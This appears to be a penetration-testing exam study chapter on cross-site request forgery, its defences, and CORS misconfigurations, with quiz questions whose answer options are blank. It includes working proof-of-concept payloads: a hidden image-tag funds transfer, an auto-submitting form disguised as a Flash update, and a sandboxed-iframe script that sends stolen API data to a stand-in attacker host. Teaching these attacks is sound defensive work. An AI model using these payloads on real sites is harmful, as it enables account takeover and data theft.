11.3 Cross-Site Request Forgery (CSRF) & Client-Side Attacks

Key Takeaways

  • Cross-Site Request Forgery (CSRF) tricks an authenticated victim's browser into transmitting unauthorized state-changing HTTP requests to a trusted application where the victim has an active session.
  • Successful CSRF requires three conditions: an action with security impact, cookie-based ambient session management, and predictable request parameters containing no unguessable secrets.
  • Primary CSRF mitigations include the Synchronizer Token Pattern (anti-CSRF tokens), SameSite cookie attributes (Strict and Lax), and mandatory re-authentication for high-consequence operations.
  • Cross-Origin Resource Sharing (CORS) misconfigurations—particularly reflecting arbitrary Origin headers while setting Access-Control-Allow-Credentials: true—completely undermine the Same-Origin Policy and expose sensitive authenticated responses to unauthorized origins.
Last updated: September 2026

11.3 Cross-Site Request Forgery (CSRF) & Client-Side Attacks

While Cross-Site Scripting (XSS) executes arbitrary code within an application's origin, Cross-Site Request Forgery (CSRF / XSRF) operates across origins to exploit the implicit trust a web application places in an authenticated user's browser. In a classic CSRF attack, an adversary tricks an authenticated victim into issuing unwanted, state-changing requests to a vulnerable application. Because web browsers automatically attach session credentials (such as cookies) to cross-site HTTP requests, the vulnerable application cannot distinguish between a legitimate request intentionally initiated by the user and a forged request initiated by a malicious third-party site.

For security analysts preparing for the CREST CPSA examination, mastering CSRF requires a rigorous understanding of its prerequisites, exploit payload construction, defensive architectures (such as anti-CSRF tokens and SameSite cookie attributes), and related cross-origin authorization mechanisms—specifically Cross-Origin Resource Sharing (CORS) misconfigurations.


Mechanics and Prerequisites of Cross-Site Request Forgery

CSRF is categorized as a "confused deputy" attack. The browser is the deputy: it holds the authority (session cookies) to perform actions on the target application. An external adversary tricks the deputy into using that authority for unauthorized purposes.

+---------------------------------------------------------------------------------------------------+
|                                    CSRF ATTACK TRANSACTION FLOW                                   |
+---------------------------------------------------------------------------------------------------+
| 1. Victim logs into vulnerable banking site (https://bank.local)                                  |
|    -> Server issues session cookie: Set-Cookie: session=xyz987                                    |
|                                                                                                   |
| 2. Victim visits attacker-controlled site (https://evil.local) in another browser tab           |
|                                                                                                   |
| 3. evil.local serves hidden HTML form that auto-submits to https://bank.local/transfer            |
|                                                                                                   |
| 4. Browser automatically attaches bank.local session cookie to the outbound cross-site POST      |
|                                                                                                   |
| 5. bank.local processes request as authentic -> Transfers $10,000 to attacker account             |
+---------------------------------------------------------------------------------------------------+

The Three Prerequisite Conditions for CSRF

For a CSRF attack to be viable, the vulnerable functionality must satisfy three specific criteria:

  1. A Relevant State-Changing Action: The target endpoint must execute an action that alters application state or produces a meaningful security consequence (e.g., changing a user's password, updating an email address, transferring funds, granting administrative permissions, or placing an order). Merely retrieving data (safe GET requests) does not constitute CSRF because the attacker's cross-site script cannot read the response due to the Same-Origin Policy; the attack only succeeds if the transmission itself triggers backend state modification.
  2. Cookie-Based Session Handling: The application must rely entirely on ambient credentials automatically transmitted by the browser—specifically HTTP cookies (or HTTP Basic/Digest authentication). If the application requires credentials passed via custom HTTP headers (such as Authorization: Bearer <token>) that browsers do not attach automatically to cross-site requests, standard CSRF is prevented.
  3. Predictable Request Parameters: All parameters required to execute the target action must be known or guessable by the adversary. If the server requires a parameter containing unpredictable, cryptographically random secret data that cannot be determined in advance, the attacker cannot construct a valid forged request.

Proof-of-Concept Exploit Construction

Depending on the HTTP method and data encoding accepted by the target endpoint, CSRF exploits are constructed using distinct HTML/JavaScript primitives.

1. GET-Based CSRF Exploitation

If an application incorrectly performs state-changing operations via GET requests (violating RFC 7231 HTTP specifications), exploitation requires nothing more than an HTML tag that triggers an automatic subresource fetch:

<!-- Attacker webpage hosted on https://evil.local -->
<h1>Welcome to our Free Wallpaper Site!</h1>
<img src="https://bank.local/account/transfer?recipient=attacker&amount=10000" width="0" height="0" style="display:none;" />

When the victim's browser loads the page, it attempts to render the image by issuing a GET request to the specified src URL, automatically attaching the victim's authenticated bank.local session cookies. The bank server processes the transfer immediately.

2. POST-Based CSRF Exploitation

Secure applications generally enforce POST, PUT, or DELETE methods for state modification. To exploit a POST-based endpoint, an adversary constructs a self-submitting HTML form hosted on an external server:

<!DOCTYPE html>
<html>
<head>
  <title>Flash Player Update</title>
</head>
<body>
  <!-- Hidden CSRF Form targeting corporate portal -->
  <form id="csrfPayload" action="https://portal.corp.com/api/user/change-email" method="POST">
    <input type="hidden" name="new_email" value="attacker@evil.local" />
    <input type="hidden" name="confirm_email" value="attacker@evil.local" />
  </form>

  <script>
    // Automatically submit form immediately upon page load
    document.addEventListener("DOMContentLoaded", function() {
      document.getElementById('csrfPayload').submit();
    });
  </script>
</body>
</html>

When the victim navigates to this page while holding an active session on portal.corp.com, the DOM loads, triggers the JavaScript submit() method, and dispatches a cross-site POST request carrying the victim's active session cookies.


CSRF Defenses and Mitigations

Protecting web applications from Cross-Site Request Forgery requires breaking one of the three prerequisites: specifically, ensuring that requests cannot be forged without a secret, unpredictable token, or preventing the browser from attaching session cookies across origin boundaries.

+---------------------------------------------------------------------------------------------------+
|                                     CSRF DEFENSIVE MECHANISMS                                     |
+---------------------------------------------------------------------------------------------------+
| Defense Mechanism               | Operation Type | Architecture & Characteristics                 |
+---------------------------------+----------------+------------------------------------------------+
| Synchronizer Token Pattern      | Stateful       | Cryptographic random token bound to session    |
| Double-Submit Cookie Pattern    | Stateless      | Cookie matched against request body parameter  |
| SameSite Cookie (Strict)        | Browser Policy | Zero cross-site cookie transmission            |
| SameSite Cookie (Lax)           | Browser Policy | Withheld on POST; allowed on top-level safe GET|
| Re-Authentication / MFA         | User Challenge | Prompts for current password or MFA token      |
+---------------------------------------------------------------------------------------------------+

1. The Synchronizer Token Pattern (Anti-CSRF Tokens)

The gold standard for CSRF prevention is the Synchronizer Token Pattern.

  • Lifecycle & Architecture:
    1. When a user authenticates, the server generates a cryptographically strong, pseudo-random token (minimum 128 bits of entropy) tied directly to the user's server-side session.
    2. When rendering any HTML form containing a state-changing action, the server inserts this token as a hidden form input:
      <input type="hidden" name="csrf_token" value="d8e9f2a4b1c7823e4590123fabc4589d" />
      
    3. When the user submits the form, the server compares the submitted csrf_token against the token recorded in the user's active session.
    4. If the token is missing, invalid, or belongs to a different user session, the server rejects the transaction with an HTTP 403 Forbidden.
  • Security Rationale: Because of the Same-Origin Policy, an external site (evil.local) cannot read the DOM of bank.local to steal the hidden token. Therefore, the attacker cannot include the correct token in their forged form, breaking the predictable parameters prerequisite.

2. The Double-Submit Cookie Pattern

In stateless architectures (such as microservices or Single Page Applications where the backend server does not maintain server-side sessions), applications use the Double-Submit Cookie Pattern:

  • The server generates a random anti-CSRF value and sets it in an un-HttpOnly cookie (e.g., CSRF-TOKEN=xyz123).
  • When the client-side JavaScript submits a state-changing request, it reads the value from the cookie and inserts it into a custom request header (e.g., X-CSRF-TOKEN: xyz123) or request body parameter.
  • The server verifies that the value in the header/body exactly matches the value in the cookie.
  • Vulnerability Exposure: If an attacker controls any subdomain within the parent domain (e.g., vulnerable.corp.com under .corp.com), the attacker can exploit cookie tossing to overwrite the victim's CSRF cookie with a known value, defeating the double-submit check.

3. The SameSite Cookie Attribute

The SameSite attribute in the Set-Cookie response header controls whether cookies are included in cross-site requests initiated by third-party origins:

  • SameSite=Strict: The cookie is never sent in cross-site requests, including when a user clicks a regular link from an external site (e.g., a link in an external email pointing to the application). This provides absolute CSRF protection, but degrades user experience for incoming external navigations.
  • SameSite=Lax: Default behavior in modern Chromium-based browsers. The cookie is withheld on all cross-site subresource requests (images, iframes, embedded forms) and cross-site POST/PUT requests. However, the cookie is permitted on "top-level navigations" using safe HTTP methods (specifically GET requests initiated by clicking a standard <a> link).
  • SameSite=None: The cookie is sent on all cross-site requests. Modern browsers require SameSite=None to be accompanied by the Secure attribute (SameSite=None; Secure), ensuring transmission occurs strictly over HTTPS.

Cross-Origin Resource Sharing (CORS) Misconfigurations

While CSRF focuses on unauthorized state-changing actions, Cross-Origin Resource Sharing (CORS) governs whether one origin is permitted to read sensitive response data from another origin.

+-----------------------+     1. GET /api/account (Origin: https://evil.local)     +------------------------+
| Attacker Webpage      | -------------------------------------------------------> | Corporate API Server   |
| (https://evil.local)  |                                                          | (https://api.corp.com) |
+-----------------------+ <-------------------------------------------------------+------------------------+
                               2. Response with Misconfigured CORS Headers:
                                  Access-Control-Allow-Origin: https://evil.local
                                  Access-Control-Allow-Credentials: true
                                  
                               [Browser permits evil.local JavaScript to read raw API response]

CORS Fundamentals

Under standard SOP, a web application running at https://evil.local can issue an asynchronous fetch() to https://api.corp.com/account, but the browser will block evil.local's JavaScript from reading the returned response.

CORS allows api.corp.com to relax this restriction selectively by sending specific HTTP response headers:

  • Access-Control-Allow-Origin: Specifies which external origins are authorized to read responses.
  • Access-Control-Allow-Credentials: A boolean header (true) indicating whether the browser is allowed to expose the response to the script when the request was made with credentials (cookies or authorization headers).
  • Access-Control-Allow-Methods: Lists permitted HTTP methods (e.g., GET, POST, OPTIONS).

Critical CORS Misconfigurations

Penetration testers frequently discover severe CORS misconfigurations arising from flawed backend code designed to accommodate multiple partner domains:

  1. Arbitrary Origin Reflection with Credentials: A common developer mistake is dynamically reading the client's Origin header and reflecting it back in the response:
    # Outbound Request from Attacker Site
    GET /api/user/profile HTTP/1.1
    Host: api.corp.com
    Origin: https://evil.local
    Cookie: session=secret123
    
    # Server Response with Dangerous CORS Reflection
    HTTP/1.1 200 OK
    Access-Control-Allow-Origin: https://evil.local
    Access-Control-Allow-Credentials: true
    Content-Type: application/json
    
    {"email":"ceo@corp.com","ssn":"000-11-2222","api_key":"live_sec_999"}
    
    Because the server echoes Access-Control-Allow-Origin: https://evil.local and sets Access-Control-Allow-Credentials: true, the victim's browser permits the attacker's script to read the full plaintext response, exposing PII, financial data, or API tokens.
  2. Trusting the null Origin: Developers sometimes add null to their allowed origins list to support local files (file://) or sandboxed iframes. However, an attacker can force a request to generate an Origin: null header by executing the exploit from within a sandboxed <iframe>:
    <iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="
      <script>
        fetch('https://api.corp.com/sensitive-data', {credentials: 'include'})
          .then(r => r.text())
          .then(d => fetch('https://evil.local/log?data=' + encodeURIComponent(d)));
      </script>
    "></iframe>
    
  3. Wildcard Origin (*) with Sensitive Data: Setting Access-Control-Allow-Origin: * allows any public site to read the response. The CORS specification prohibits the combination of Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true. However, if sensitive public data or internal network topologies are leaked via wildcard CORS without authentication, information disclosure occurs.
Test Your Knowledge

Which set of conditions is strictly required for a Cross-Site Request Forgery (CSRF) vulnerability to be exploitable against a web application endpoint?

A
B
C
D
Test Your Knowledge

A banking web application sets its session cookie using the directive Set-Cookie: session=abc123; SameSite=Lax; Secure. How does the browser handle this cookie when an authenticated victim visits an attacker's website containing a hidden form that issues a cross-site POST request to the bank?

A
B
C
D
Test Your Knowledge

A penetration tester assesses a financial portal's API at https://api.corp.com/balance. When sending a test request with the header Origin: https://attacker.com, the API responds with Access-Control-Allow-Origin: https://attacker.com and Access-Control-Allow-Credentials: true. What is the security impact of this configuration?

A
B
C
D
Test Your Knowledge

What is the primary mechanism by which the Synchronizer Token Pattern protects web applications from Cross-Site Request Forgery?

A
B
C
D